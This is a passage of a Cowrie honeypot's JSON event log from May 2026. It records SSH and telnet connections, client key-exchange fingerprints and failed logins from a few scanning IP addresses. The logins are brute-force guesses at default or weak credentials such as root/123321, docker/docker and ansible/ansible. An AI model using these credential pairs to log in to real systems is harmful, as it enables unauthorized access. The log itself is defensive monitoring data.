ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:08.914647Z","src_ip":"176.65.132.129","session":"5ef853f72759","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321","message":"login attempt [root/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:09.339647Z","src_ip":"176.65.132.129","session":"5ef853f72759","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:10.424943Z","src_ip":"176.65.132.129","session":"5ef853f72759","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":40608,"dst_ip":"159.203.135.109","dst_port":22,"session":"5bd9da0959fb","protocol":"ssh","message":"New connection: 172.237.20.62:40608 (159.203.135.109:22) [session: 5bd9da0959fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:10.948291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:10.952661Z","src_ip":"172.237.20.62","session":"5bd9da0959fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:11.114870Z","src_ip":"172.237.20.62","session":"5bd9da0959fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker","message":"login attempt [docker/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:11.631307Z","src_ip":"172.237.20.62","session":"5bd9da0959fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":52706,"dst_ip":"159.203.135.109","dst_port":22,"session":"2adec3f62977","protocol":"ssh","message":"New connection: 176.65.132.129:52706 (159.203.135.109:22) [session: 2adec3f62977]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:12.414327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:12.418958Z","src_ip":"176.65.132.129","session":"2adec3f62977","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:12.500555Z","src_ip":"176.65.132.129","session":"2adec3f62977","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"AA123456","message":"login attempt [root/AA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:12.746868Z","src_ip":"176.65.132.129","session":"2adec3f62977","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:12.791666Z","src_ip":"172.237.20.62","session":"5bd9da0959fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:13.831642Z","src_ip":"176.65.132.129","session":"2adec3f62977","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.33421206474304,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:14.148680Z","src_ip":"45.58.127.90","session":"5dbb58f5ca52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45076,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d553285b337","protocol":"ssh","message":"New connection: 176.65.132.129:45076 (159.203.135.109:22) [session: 1d553285b337]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:15.753230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:15.762198Z","src_ip":"176.65.132.129","session":"1d553285b337","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:15.844587Z","src_ip":"176.65.132.129","session":"1d553285b337","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"123456","message":"login attempt [admin1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:16.092294Z","src_ip":"176.65.132.129","session":"1d553285b337","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:17.177572Z","src_ip":"176.65.132.129","session":"1d553285b337","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45088,"dst_ip":"159.203.135.109","dst_port":22,"session":"42f239ae812f","protocol":"ssh","message":"New connection: 176.65.132.129:45088 (159.203.135.109:22) [session: 42f239ae812f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:19.298612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:19.349603Z","src_ip":"176.65.132.129","session":"42f239ae812f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:19.413269Z","src_ip":"176.65.132.129","session":"42f239ae812f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX3edc","message":"login attempt [root/1qaz@WSX3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:19.704061Z","src_ip":"176.65.132.129","session":"42f239ae812f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:20.787617Z","src_ip":"176.65.132.129","session":"42f239ae812f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":51378,"dst_ip":"159.203.135.109","dst_port":22,"session":"395badee68c5","protocol":"ssh","message":"New connection: 172.237.20.62:51378 (159.203.135.109:22) [session: 395badee68c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:21.768534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:21.772796Z","src_ip":"172.237.20.62","session":"395badee68c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:21.931773Z","src_ip":"172.237.20.62","session":"395badee68c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible","message":"login attempt [ansible/ansible] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:22.463476Z","src_ip":"172.237.20.62","session":"395badee68c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.109803676605225,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:22.656421Z","src_ip":"45.58.127.90","session":"a7b5b65caf56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45094,"dst_ip":"159.203.135.109","dst_port":22,"session":"b48aa8528ea2","protocol":"ssh","message":"New connection: 176.65.132.129:45094 (159.203.135.109:22) [session: b48aa8528ea2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:22.844630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:22.848903Z","src_ip":"176.65.132.129","session":"b48aa8528ea2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:22.931387Z","src_ip":"176.65.132.129","session":"b48aa8528ea2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"worker","password":"worker","message":"login attempt [worker/worker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:23.179781Z","src_ip":"176.65.132.129","session":"b48aa8528ea2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:23.624674Z","src_ip":"172.237.20.62","session":"395badee68c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:24.264596Z","src_ip":"176.65.132.129","session":"b48aa8528ea2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":37882,"dst_ip":"10.17.0.5","dst_port":23,"session":"27afd2984ea4","protocol":"telnet","message":"New connection: 45.58.127.90:37882 (10.17.0.5:23) [session: 27afd2984ea4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:25.012460Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42104,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b3a6eba7833","protocol":"ssh","message":"New connection: 176.65.132.129:42104 (159.203.135.109:22) [session: 4b3a6eba7833]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:26.312802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:26.317810Z","src_ip":"176.65.132.129","session":"4b3a6eba7833","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:26.400129Z","src_ip":"176.65.132.129","session":"4b3a6eba7833","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lsfadmin","password":"lsfadmin","message":"login attempt [lsfadmin/lsfadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:26.647294Z","src_ip":"176.65.132.129","session":"4b3a6eba7833","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:27.733006Z","src_ip":"176.65.132.129","session":"4b3a6eba7833","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42118,"dst_ip":"159.203.135.109","dst_port":22,"session":"f07e44aa55c6","protocol":"ssh","message":"New connection: 176.65.132.129:42118 (159.203.135.109:22) [session: f07e44aa55c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:29.809991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:29.814316Z","src_ip":"176.65.132.129","session":"f07e44aa55c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:29.899872Z","src_ip":"176.65.132.129","session":"f07e44aa55c6","protocol":"ssh"}
